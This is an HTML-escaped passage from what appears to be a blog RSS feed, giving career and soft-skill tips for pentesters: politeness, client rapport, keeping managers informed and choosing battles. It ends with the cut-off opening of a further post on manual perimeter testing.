&lt;p class=&quot;MsoNormal&quot;&gt;Some tips:&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;


















&lt;/p&gt;&lt;p class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;


















&lt;/p&gt;&lt;p class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Say thank you when someone helps you&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;, don&#39;t give other people&#39;s time for
granted. If you want for clients and coworkers to respect your time, do start
respecting theirs. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Give people credit&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt; when they do right and demand credit
when you do right.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;i&gt;Be professional at all times&lt;/i&gt;,
especially and above all when you&#39;re upset. Even when you&#39;re professional 99
times out of 100, people will only remember about that single time you messed
up.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Keep your manager in the loop&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;, especially in difficult situations
when you need help. Speak up immediately when issues arise that can cause
holdups and hurt your project.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Own mistakes publicly&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;, learn from them and move on. Don&#39;t
be afraid to make mistakes, as it&#39;s a learning process, but avoid repeating the
same mistakes twice, as long as you can.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;In general, &lt;i&gt;treat your team members
with respect&lt;/i&gt;, and demand respect for yourself and your work.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Create connections across the
organization&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;, not only with your direct team members, but also with other teams
within the company.&amp;nbsp; New opportunities might come around that couldn&#39;t
happen otherwise, and it might come a time when help from other teams is of the
essence.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Build your own brand&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;. Make sure to get official feedback
on your work, and to stand out for doing excellent work, not for messing up or
being a troublemaker. Better be the talk of the company for standing out than
for sucking.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Be nice&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;. Basic politeness goes a long way in
info sec. Sadly, as Warren Buffett said once, busy is the new stupid now. Many
people use that as an excuse not to get back with responses, not to deliver on
promises, not to provide updates when they&#39;re expected to, and in general they
feel this is a pass for them to be rude. Don&#39;t be like that. Info sec isn&#39;t
unlike any other human activities under this point of view. People expect to be
treated with respect, so they will look favorably at who does so, and will give
them their respect in return. Apart being a winning strategy, this is how human
beings are meant to treat each other.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Be personable&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;. Be comfortable with the client,
don&#39;t see them as the enemy. They&#39;re not the enemy, and won&#39;t be when rapport
is developed. Try to understand their needs, break the ice and slide in
informal conversation topics. Meet any of their additional demands if the
needed level of effort is tolerable and they don&#39;t cause major holdups. Make it
clear you&#39;re on their side, as a business partner, and don&#39;t be confrontational,
if you can help it. See yourself as an actor on a stage, when on a client call.
Lines were memorized, it&#39;s no big deal, you&#39;re ready for whatever comes and
will handle the unexpected. Experience makes it progressively easier, even
though it&#39;s not always a walk in the park. There&#39;s always the occasional
oddball client with weird, unheard-of demands.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Choose what battles to fight for&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;. When the client pushes back on some
findings, has additional demands, or wants clarifications, make sure to
carefully assess when it&#39;s worth fighting back and when it&#39;s not. Confronting
the client head on is not always the right response, and might lead to customer
dissatisfaction and escalations, which should be avoided like a plague. Much
depends on what these situations imply, and on what the client attitude is.
Sometimes, the client&#39;s requests are no big deal and they have valid reasons
for them, so I have no problems accommodating them. For example, a client asked
me for details on the hostnames associated with specific IPs affected by
multiple SSL findings. They were struggling with remediation because they
didn&#39;t own those IPs and, them being ephemeral, they couldn&#39;t find the affected
hosts. Over testing for the related project, I had previously performed a
Nessus scan on in-scope hostnames, so I simply provided the client with the
related file. Result? Problem solved, client happy, PM happy, all happy. I
could&#39;ve said no, I wasn&#39;t exactly mandated to provide the client with that
info, but what would that have done for me? I&#39;d create a problem, and the
client would provide negative feedback on my work. Instead, that client was
happy with my work, and I could create rapport. The final result from my action
is I worked with this client on multiple occasions, cause I know how to handle
them. Of course, the situation is completely different when faced with client’s
rude behaviors or unreasonable demands, such as demanding new work when no
retest is in scope.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;v&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;Don&#39;t be afraid of (tough)
conversations&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,serif; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: 0pt; mso-ligatures: none;&quot;&gt;: Many people in this industry, myself included, are shy and don&#39;t like
direct or in-person interactions. We feel much more at ease behind a keyboard,
using email to solve issues. Unfortunately, written communication isn&#39;t always
the solution, and it often creates more issues than it solves, because it&#39;s
prone to ambiguity, errors and typos, especially over time-sensitive contexts.
Plus, emails aren&#39;t very good at expressing nuances, and the final result of
that can be disastrous. Often times, after sending an email, I feel I could&#39;ve
explained my point better and cut to the chase, and sometimes I can&#39;t seem to get
my point across at all. When this happens, a phone call or a Zoom/Teams call is a way more effective solution to these issues. A voice tone is harder to misunderstand
than a written sentence is. This is absolutely paramount when critical findings
are discovered.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;&amp;nbsp;&lt;/p&gt;





&lt;p class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-add-space: auto; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -0.25in;&quot;&gt;&lt;style&gt;@font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;
	mso-font-charset:77;
	mso-generic-font-family:decorative;
	mso-font-pitch:variable;
	mso-font-signature:3 0 0 0 -2147483647 0;}@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
	{mso-style-priority:34;
	mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-type:export-only;
	margin-top:0in;
	margin-right:0in;
	margin-bottom:0in;
	margin-left:.5in;
	mso-add-space:auto;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}ol
	{margin-bottom:0in;}ul
	{margin-bottom:0in;}&lt;/style&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&amp;nbsp;&lt;i&gt;Conclusions&lt;/i&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;https://media3.giphy.com/media/UTkQdAgqdBpct1TPDe/giphy.gif?cid=ecf05e472v5r86bdck98k2hubltpwscq4a6xlfnv8ege31ef&amp;amp;ep=v1_gifs_search&amp;amp;rid=giphy.gif&amp;amp;ct=g&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;267&quot; data-original-width=&quot;480&quot; height=&quot;223&quot; src=&quot;https://media3.giphy.com/media/UTkQdAgqdBpct1TPDe/giphy.gif?cid=ecf05e472v5r86bdck98k2hubltpwscq4a6xlfnv8ege31ef&amp;amp;ep=v1_gifs_search&amp;amp;rid=giphy.gif&amp;amp;ct=g&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt; &lt;br style=&quot;-webkit-text-stroke-width: 0px; background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.9); font-family: -apple-system, system-ui, &amp;quot;system-ui&amp;quot;, &amp;quot;Segoe UI&amp;quot;, Roboto, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Fira Sans&amp;quot;, Ubuntu, Oxygen, &amp;quot;Oxygen Sans&amp;quot;, Cantarell, &amp;quot;Droid Sans&amp;quot;, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Lucida Grande&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; line-height: inherit; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot; /&gt;&lt;/p&gt;


















&lt;p class=&quot;MsoNormal&quot;&gt;The above considerations come from hard earned experience.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;I&#39;m not a preacher, and don&#39;t suggest things I haven&#39;t tried
on myself first.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;I don&#39;t know what you think about me (nor I care a lot, to
be honest) but I can say for sure that no one gave me a thing for free.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;All I have is what I earned working my butt off, and don&#39;t
know any other way.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;I don&#39;t believe in luck, but one can create the conditions
for good things to happen.&amp;nbsp; &lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot;&gt;Try this out for 30 days, and you&#39;ll thank me later.&lt;br /&gt;
&lt;br /&gt;
That&#39;s all for now. &lt;/p&gt;





&lt;style&gt;@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:2 4 5 3 5 4 6 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:-536870145 1107305727 0 0 415 0;}@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-536859905 -1073732485 9 0 511 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-unhide:no;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	margin:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;
	mso-font-kerning:1.0pt;
	mso-ligatures:standardcontextual;}.MsoChpDefault
	{mso-style-type:export-only;
	mso-default-props:yes;
	font-family:&quot;Calibri&quot;,sans-serif;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:Calibri;
	mso-fareast-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}div.WordSection1
	{page:WordSection1;}&lt;/style&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2023/09/tips-for-information-security_9.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/hqsahw10bLw/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-3484836207673790340</guid><pubDate>Tue, 05 Sep 2023 13:00:00 +0000</pubDate><atom:updated>2025-04-05T18:49:38.655-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking #pentesting</category><title>Tips for an Information Security Analyst/Pentester Career - Ep. 94 - Never Give Up, Try New Stuff for the Win (Ode to Manual Testing)</title><description>&lt;p&gt;In five years of penetration testing projects, I&#39;ve led a huge number of perimeter pentests.&lt;/p&gt;&lt;p&gt;Most of these projects end up showing the same findings, as most clients have alike network environments, exposing a limited attack surface.&lt;/p&gt;&lt;p&gt;When clients harden their perimeter the right way, they only expose some login portals, and their underlying applications run the latest versions, not vulnerable to specific exploits.&lt;/p&gt;&lt;p&gt;It would be easy at that point for testers to give up, thinking there&#39;s nothing else to it.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;a href=&quot;https://media1.giphy.com/media/S6wmChno9qszPPrMUl/200w.webp?cid=ecf05e475mkpntkicqlcl4xx2wyewb1o8hxv0pthouezsgu3&amp;amp;ep=v1_gifs_search&amp;amp;rid=200w.webp&amp;amp;ct=g&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;112&quot; data-original-width=&quot;200&quot; height=&quot;358&quot; src=&quot;https://media1.giphy.com/media/S6wmChno9qszPPrMUl/200w.webp?cid=ecf05e475mkpntkicqlcl4xx2wyewb1o8hxv0pthouezsgu3&amp;amp;ep=v1_gifs_search&amp;amp;rid=200w.webp&amp;amp;ct=g&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;That&#39;s when they need to hold tight, observe things under a different angle and/or try out new tools that can offer fresh perspectives.&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Over my perimeter pentests, I often feel this pressure, as time&#39;s running out and I seem 